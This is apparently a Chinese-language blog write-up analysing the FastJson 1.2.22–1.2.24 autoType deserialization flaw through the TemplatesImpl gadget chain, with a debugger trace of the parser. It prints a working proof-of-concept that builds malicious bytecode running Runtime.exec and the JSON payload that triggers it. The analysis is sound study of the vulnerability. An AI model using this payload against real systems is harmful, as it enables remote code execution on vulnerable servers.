0x01 前言
FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响版本:1.2.22 <= FastJson <= 1.2.24
0x02 相关知识
FastJson序列化
定义一个Java Bean。
package com.kemoon;public class User {private String name;private int age;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public String toString(){return "name:"+this.name+",age:"+age;}}
定义测试类,使用fastjson对Java Bean进行序列化操作。
package com.kemoon;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;public class Fast {public static void main(String[] args) {User user = new User();user.setAge(18);user.setName("张三");String jsonString = JSON.toJSONString(user);System.out.println(jsonString);String jsonString1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);System.out.println(jsonString1);}}
输出结果为:
在进行序列化时加上SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。
FastJson反序列化
反序列代码如下:
package com.kemoon;import com.alibaba.fastjson.JSON;public class Fast {public static void main(String[] args) {User user = new User();user.setAge(18);user.setName("张三");String jsonString = JSON.toJSONString(user);System.out.println(jsonString);User user1 = JSON.parseObject(jsonString,User.class);System.out.println(user.toString());}}
结果如下:
然而存在一个问题,从上述代码中我们并没有看到显式的序列化及反序列化调用,并且我们创建的User类并没有实现Serializable接口,应该是不能进行序列化和反序列化的?实际这里的反序列化并不是指传统意义的反序列化readObject,而是fastjson中的将字符串解析为对象的过程,二者是很相似的。
如果将我们的用户类进行修改:
package com.kemoon;import java.io.Serializable;public class User implements Serializable {private String name;private int age;public String getName() {System.out.println("getName方法调用!");return name;}public void setName(String name) {System.out.println("setName方法调用!");this.name = name;}public int getAge() {System.out.println("getAge方法调用!");return age;}public void setAge(int age) {System.out.println("setAge方法调用!");this.age = age;}public String toString(){return "name:"+this.name+",age:"+age;}}

可以发现如果parseObject的参数个数不同,反序列化时调用到的方法也不同,如果给parseObject指定了反序列化的类,那么就不会调用反序列化类的getter方法。我们有理由推测在反序列化时fastjson会取得字段的值通过setter方法给反序列生成的类的属性赋值。
0x03 漏洞分析
TemplatesImpl链反序列化
测试代码如下:
package com.kemoon;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import javassist.ClassPool;import javassist.CtClass;import java.util.Base64;public class Fast {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";ClassPool classPool=ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("Evil");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtimebyte[] evilCode = payload.toBytecode();try {String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);System.out.println(evilCode_base64);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'a.b',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}";System.out.println(text1);ParserConfig config = new ParserConfig();Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);} catch (Exception e) {e.printStackTrace();}}}
这里使用javaassit生成恶意字节码,传入类型为TemplatesImpl,通过CC链的分析对于该类很熟悉了。代码也很简单。@type字段用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发,所以TemplatesImpl链的利用条件还是比较苛刻的。
对于整个过程,个人觉得需要关注以下几个方面:
- 为什么恶意字节码需要base64编码?
- 从@type字段加载恶意类的大概流程
- 什么时候将json中的类属性数据加载到实例?
- 什么时候对恶意的方法
_getOutputProperties_进行调用的?
追进com.alibaba.fastjson.JSON.class#parseObject,其中关键方法parser.parseObject,跟进
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject,跟进方法derializer.deserialze
com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze,最终走到一个三目运算处,此时条件为false,会执行parser.parse方法。
com.alibaba.fastjson.parser.DefaultJSONParser#parse,因为刚开始lexer.token为12,代表读取到的是{符号,则会调用parseObject去处理,传入参数为Map类型的object。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject,lexer读取第二个字符,是",并且使用scanSymbol方法获取到key值@type。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
中间读取了一次:的操作,接着判断key是否等于JSON.DEFAULT_TYPE_KEY,而这个值就等于@type,条件为真,读取我们传入的参数com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并调用类加载器进行加载。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
接着走到关键方法,deserializer.deserialze。
两次重载后,com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze,在while循环中,会将sortedFieldDeserializers中的属性给遍历一遍,没看出具体作用,该变量中有三个元素,分别是outputProperties、stylesheetDOM和uRIResolver。
当fieldDeser为null时,扫描key值,值为_bytecodes。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
接着判断object是否为null,也就是存不存在TemplatesImpl对象,如果不存在就新建实例。
接着进入关键方法this.parseField,跟进。
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField,这里调用smartMatch对key进行处理,将_替换为空白。
接着调用parseField方法,
com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField,接着调用this.fieldValueDeserilizer.deserialze方法获取_bytecodes的值。
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
接着调用parser.parseArray方法,跟进。
调用this.lexer.nextToken方法获取下一个词法单元的token,接着调用deserialze方法获取到_bytecodes的value。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}

获取到value后,调用setValue对TemplatesImpl的_bytecodes属性进行赋值,跟进setValue方法。
此处method为null,所以直接反射将获取到的value赋值给object。
接着在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze的while循环中获取到_name,接下来的流程跟_bytecodes相似。
接着时_tfactory参数,不同的是在parseField时,获取value是在if中获取的。
跟进该方法,会创建一个TransformerFactoryImpl对象,接下来的就跟其它参数一致。
接着是_outputProperties参数。
跟前几个参数不同的是,在setValue时method不为null,而是getOutputProperties,这就比较奇怪了。
接着会invoke该方法,接下来就是TemplatesImpl#newTransformer触发恶意代码了。
对于分析开始前提出的问题,有些解决了,有些没解决,甚至多出了一些问题,整理如下:
- 为什么恶意字节码需要base64编码?
在获取_bytecodes的value时,调用如下函数。
接着调用lexer.bytesValue,跟进。
该方法会将_bytecodes的值base64解码,那为什么其它参数没有进行base64解码呢?
比较两个参数的反序列化方法,猜测可能是byte [][]会base64解码。_bytecode:com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze_name:com.alibaba.fastjson.serializer.StringCodec#deserialze
如下demo:
package com.kemoon;import java.io.Serializable;import java.util.Arrays;public class User implements Serializable {private String name;private int age;private byte[][] bytecode;public String getName() {System.out.println("getName方法调用!");return name;}public void setName(String name) {System.out.println("setName方法调用:"+name);this.name = name;}public int getAge() {System.out.println("getAge方法调用!");return age;}public void setAge(int age) {System.out.println("setAge方法调用!"+age);this.age = age;}public String toString(){return "name:"+this.name+",age:"+age;}public byte[][] getBytecode() {System.out.println("getBytecode方法调用:"+ Arrays.deepToString(bytecode));return bytecode;}public void setBytecode(byte[][] bytecode) {System.out.println("setBytecode方法调用:"+ Arrays.deepToString(bytecode));this.bytecode = bytecode;}}
package com.kemoon;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;public class Demo {public static void main(String[] args) {String data = "{\"@type\":\"com.kemoon.User\",\"age\":18,\"name\":\"张三\",\"bytecode\":[\"dGVzdA==\"]}";System.out.println("-------------反序列化--------------");JSONObject jsonObject= JSON.parseObject(data);}}


经过测试byte[]、byte[][]都会触发base64解码。
- 从@type字段加载恶意类的大概流程

- 什么时候将json中的类属性数据加载到实例?
加载属性的操作都是在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze方法中完成的。
- 什么时候对恶意的方法
_getOutputProperties_进行调用的?
见上文调试
- [+]为什么其它参数的
_method_为_null_,_outputProperties_的_method_不为_null_?
这部分是this.config.getDeserializer方法中操作的。
其中会对class的所有方法进行判定,如果满足条件则加入到List<FieldInfo>中,条件包括方法长度大于等于4,不是静态方法,第4个字符为大写,开头字符为get等等,这里就包括getOutputProperties,而_tfactory、_name、_bytecodes则不存在满足这些条件的方法。
0x04 总结
暂时完成了对TemplatesImpl链对fastjson的利用分析,只分析了个大概,其中还有很多细节没有分析清楚,不过就这样了,累了。JdbcRowSetImpl链的分析之后再说吧。
